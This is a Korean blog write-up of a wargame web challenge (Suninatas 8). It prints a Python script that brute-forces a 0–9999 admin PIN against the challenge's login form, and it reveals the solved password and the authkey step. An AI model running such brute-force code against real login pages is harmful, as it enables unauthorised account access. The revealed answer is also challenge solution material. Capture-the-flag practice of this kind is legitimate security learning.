일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | ||||
4 | 5 | 6 | 7 | 8 | 9 | 10 |
11 | 12 | 13 | 14 | 15 | 16 | 17 |
18 | 19 | 20 | 21 | 22 | 23 | 24 |
25 | 26 | 27 | 28 | 29 | 30 | 31 |
- wargame
- TeamH4C
- sql injection
- File Upload Vulnerability
- DVWA
- Los
- 해커팩토리
- 정보보호
- 써니나타스
- 웹 해킹
- H4CKINGGAME
- 빡공팟 4기
- DOM-Based XSS
- 워게임
- 드림핵
- Lord of SQL Injection
- Weak Session IDs
- bypass CAPTCHA
- Hackerfactory
- SuNiNaTas
- XSS
- Web Hacking
- DreamHack
- 빡공팟 6기
- Cross Site Scripting
- 정보보안
- Dremhack
- Remote File Inclusion
- Insecure CAPTCHA
- webhacking.kr
- Today
- Total
도카이트
[Wargame] Suninatas 8번 Write-Up 본문
문제 화면
- ID / PW 를 입력하여 로그인을 할 수 있는 화면이 출력된다.
- 소스코드를 확인해보자!
소스코드
- form method로 post 방식을 사용하고 있다!
- Hint 를 생각보다 상당히 직관적으로 알려주고 있다.
- ID에 admin을 입력 후 PW에 0 ~ 9999 까지의 수를 대입하여 로그인하면 되는듯 하다.
- 문제 해결 방법을 알았으니 바로 사전 대입 공격을 시도해보자 !
Burp Suite Community 버전의 경우, Brute Force 공격을 비롯하여 값을 대입하고 Request 하는 속도가 상당히 느리다.
그러므로 이번 문제는 Python의 requests 모듈을 이용하여 코드를 작성하여 문제를 해결해보도록 하자 !!
dictionary_attack.py 작성
# dictionary_attack.py
import requests
for pw in reversed(range(0, 10000)):
url = "http://suninatas.com/challenge/web08/web08.asp"
data = {'id':'admin', 'pw':pw}
r = requests.post(url=url, data=data)
if "Password Incorrect!" not in r.text:
print(pw)
print("현재 대입한 패스워드: ", pw)
- requests 모듈을 이용하여 간단한 파이썬 코드를 작성한다.
- 0 부터 9999까지의 수를 reversed 함수를 이용하여 역순으로 대입한다.
- 그 이유는 … 0부터 대입할 경우 패스워드 값을 찾는데 상당한 시간이 걸린다 …..
- 이미 한 번의 시행착오(?)를 겪었기에 Write-up 작성은 역순으로 작성한 코드를 가져왔다.
코드 실행 후 Password 값 찾기
- 현재 대입한 패스워드 문자열 없이 출력된 패스워드 값 하나를 발견할 수 있다 !
- 해당 값을 대입하였을 경우 성공적으로 로그인이 되는 값인 듯 하다.
- 7707 을 입력하여 admin으로 로그인을 시도해보자 !
로그인 성공
- 로그인 후 성공적으로 Authkey 를 획득할 수 있다 !!
'Wargame > Suninatas' 카테고리의 다른 글
[Wargame] Suninatas 23번 Write-Up (0) | 2022.06.05 |
---|---|
[Wargame] Suninatas 22번 Write-Up (0) | 2022.06.05 |
[Wargame] Suninatas 7번 Write-Up (0) | 2022.05.31 |
[Wargame] Suninatas 6번 Write-Up (0) | 2022.05.31 |
[Wargame] Suninatas 5번 Write-Up (0) | 2022.05.31 |